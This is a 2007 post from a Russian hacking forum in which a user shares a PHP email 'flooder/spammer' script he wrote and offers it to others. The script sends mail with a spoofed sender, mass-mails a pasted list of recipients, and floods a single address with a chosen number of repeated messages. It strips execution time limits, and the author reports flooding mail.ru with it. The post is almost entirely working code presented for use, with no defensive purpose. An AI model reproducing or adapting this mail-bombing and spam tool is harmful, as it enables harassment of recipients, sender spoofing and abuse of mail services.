Показать сообщение отдельно

  #8  
Старый 10.09.2007, 10:28
NOmeR1
Познавший АНТИЧАТ
Регистрация: 02.06.2006
Сообщений: 1,188
Провел на форуме:
6023777

Репутация: 2642


Отправить сообщение для NOmeR1 с помощью ICQ
По умолчанию

Email :: FLoodeR :: SpameR
Только что минут за 30 написал. Может пригодится кому..
PHP код:
<?
#(C) NOmeR1
?>
<title>Email :: FLoodeR :: SpameR</title>
<?

error_reporting 
(0);
if(!
set_time_limit(0)) {
 
$limit false;
} else {
 
set_time_limit(0);
 
ignore_user_abort(1);
 
$limit true;
}

$log 'log.txt'// Файл лога

ini_set('max_execution_time''0');

?>
Файл лога <?if(file_exists($log)) { if(is_writable($log)) { echo('<font color=YellowGreen>доступен для записи</font>'); } else { echo('<font color=Red>не доступен для записи</font> (права должны быть <font color=YellowGreen>0777</font>)'); } } else { echo('не существует - права на диру должны быть <font color=YellowGreen>0777</font>'); }?><br>
set_time_limit(0) = <?if($limit)echo('<font color=YellowGreen>On</font>');else echo('<font color=Red>Off</font> (Время работы скрипта ограничено)');?><br>
<?

$ip 
getenv('REMOTE_ADDR');

if(
$_GET['mail'] == '1' || $_GET['mail'] == '2' || $_GET['mail'] == '3')
{

 
$_POST['to'] = stripslashes($_POST['to']);
 
$_POST['msg'] = stripslashes($_POST['msg']);
 
$_POST['from'] = stripslashes($_POST['from']);
 
$_POST['subject'] = stripslashes($_POST['subject']);

 if(
$_POST['to'] && $_POST['msg'] && $_POST['from'] && $_POST['tipe'])
 {
  
$headers  "MIME-Version: 1.0\r\n";
  
$headers .= "Content-type: text/".$_POST['tipe']."; charset=windows-1251\r\n";
  
$headers .= "From: ".$_POST['from']."\n";
  if(
$_GET['mail'] == '1')
  {
   
mail($_POST['to'], $_POST['subject'], $_POST['msg'], $headers) or die('Не возможно отправить сообщение');
  }
  elseif(
$_GET['mail'] == '2')
  {
   
$_POST['to'] = explode("\n",$_POST['to']); 
   foreach(
$_POST['to'] as $poluchatels)
   {
    
mail($poluchatels$_POST['subject'], $_POST['msg'], $headers) or die('Не возможно отправить сообщение');
   }
  }
  elseif(
$_GET['mail'] == '3')
  {
   if(
preg_match('/[0-9]+/',$_POST['kol']))
   {
    for(
$i=0;$i<$_POST['kol'];$i++)
    {
     
mail($_POST['to'], $_POST['subject'], $_POST['msg'], $headers) or die('Не возможно отправить сообщение');
     
sleep(1);
    }
   }
   else
   {
    echo(
'Неверно введено (или не введено) кол-во сообщений');
   }
  }
  
$f fopen($log,'a');
  
fwrite($f,'Отправелено сообщение с темой "'.$_POST['subject'].'" для "'.$_POST['to'].'" с IP - "'.$ip."\"\r\n");
  
fclose($f);
  echo(
'<center><b><font color="green">Сообщение успешно отправлено</font></b></center>');
 }
 else
 {
?>
<form style="width:350px" method='post'>
<?
 
if($_GET['mail'] == '1' || $_GET['mail'] == '3')
 {
  echo(
"Получатель &nbsp;<input type='text'name='to'><br>");
 }
?>
Отправитель<input type='text' name='from'><br> 
Тема сообщ. &nbsp;<input type='text' name='subject'><br> 
<?
 
if($_GET['mail'] == '3')
 {
  echo(
"Кол-во сообщений <input type='text' name='kol'><br>");
 }
?>
<br>
htm -&gt; <input type='radio' checked='checked' tabindex='1' name='tipe' value='html'> :: <input type='radio' name='tipe' value='plain'>&lt;- text<br>
<?
 
if($_GET['mail'] == '2')
 {
  echo(
"Получатели<br><textarea name='to' rows='10' cols='30'>mail@mail.ru
super@mail.ru
poluchatel@mail.ru</textarea>"
);
 }
?>
<br>Сообщение<br>
<textarea name='msg' rows='10' cols='30'></textarea><br><br><input type='submit'>
</form>
<?
 
}
} else {
?><br>
<a href='<?=$_SERVER['PHP_SELF']?>?mail=1'>Отправить простое сообщение</a><br>
<a href='<?=$_SERVER['PHP_SELF']?>?mail=2'>Наспамить</a><br>
<a href='<?=$_SERVER['PHP_SELF']?>?mail=3'>Налудить</a><br>
<?
}
?>
Пробывал флудить mail.ru <- флудит 10 сообщений за 10 секунд, но зато они все приходят!

Последний раз редактировалось NOmeR1; 10.09.2007 в 10:31..
 
Ответить с цитированием